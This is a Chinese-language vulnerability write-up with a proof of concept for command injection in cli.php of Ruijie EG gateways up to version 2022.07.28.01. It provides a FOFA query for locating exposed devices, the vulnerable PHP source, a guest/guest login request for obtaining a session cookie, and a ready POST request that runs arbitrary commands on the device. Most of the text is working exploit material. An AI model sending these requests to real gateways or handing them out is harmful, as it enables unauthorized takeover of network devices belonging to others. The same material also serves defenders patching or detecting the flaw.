漏洞简介
锐捷EG易网关是一款综合网关,由锐捷网络完全自主研发。它集成了先进的软硬件体系架构,配备了DPI深入分析引擎、行为分析/管理引擎,可以在保证网络出口高效转发的条件下,提供专业的流控功能、出色的URL过滤以及本地化的日志存储/审计服务。锐捷EG易网关 cli.php 的 indexAction存在命令注入漏洞,攻击者可以利用该漏洞在设备上执行任意命令,造成设备失陷等高危风险。
影响版本
<=2022.07.28.01
fofa语法
title="锐捷网络-EWEB网管系统" || app="Ruijie-EG易网关" && body="/login.php?a=version"
漏洞分析
看下 cli.php 关键业务 indexAction 逻辑的实现
public function indexAction() {
$mode = p("mode_url");
$command = p("command");
$answer = p("answer");
if ($mode == false)
$mode = "exec";
if ($answer == false)
$answer = "";
if ($command !== false)
$command = iconv('UTF-8', 'GBK//IGNORE', $command);
$data = execCli($mode, $command, $answer);
if ($data["status"] !== 1) {
json_echo($data);
exit();
}
mode_url 、command 和 answer 带入 execCli 方法中,跟进看下其实现
function execCli($mode = "exec", $command = "", $answer = "") {
$data = [];
if ($command == "" || $command == false) {
$data["status"] = 2;
$data["msg"] = "no command";
return $data;
}
if (!function_exists('php_exec_cli')) { //动态加载cli通信模块
if (!@dl('client.so')) {
$data["status"] = 3;
$data["msg"] = "can't load client.so";
return $data;
}
}
if (defined('DEBUG') && DEBUG) {
$t1 = microtime(true);
}
$data["data"] = php_exec_cli($command, $mode, $answer);
$data["status"] = 1;
if (defined('DEBUG') && DEBUG) {
$t2 = microtime(true);
$data["executeTime"] = ($t2 - $t1) * 1000;
}
return $data;
}
根据 $command 是否为空,然后来调用 php_exec_cli 执行命令,全程无过滤和检测,因此造成命令注入漏洞。
漏洞复现
获取cookie
POST /ddi/server/login.php HTTP/1.1
Host: ruijieweb.mrxn.net
Content-Type: application/x-www-form-urlencoded
username=guest&password=guest?

命令注入
POST /cli.php HTTP/1.1
Host: ruijieweb.mrxn.net
Content-Type: application/x-www-form-urlencoded
Cookie: RUIJIEID=xxxxxxxxxxl855hve3xxxxxxxx
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
command=dir&mode_url=0

成功执行 dir 命令并回显结果。

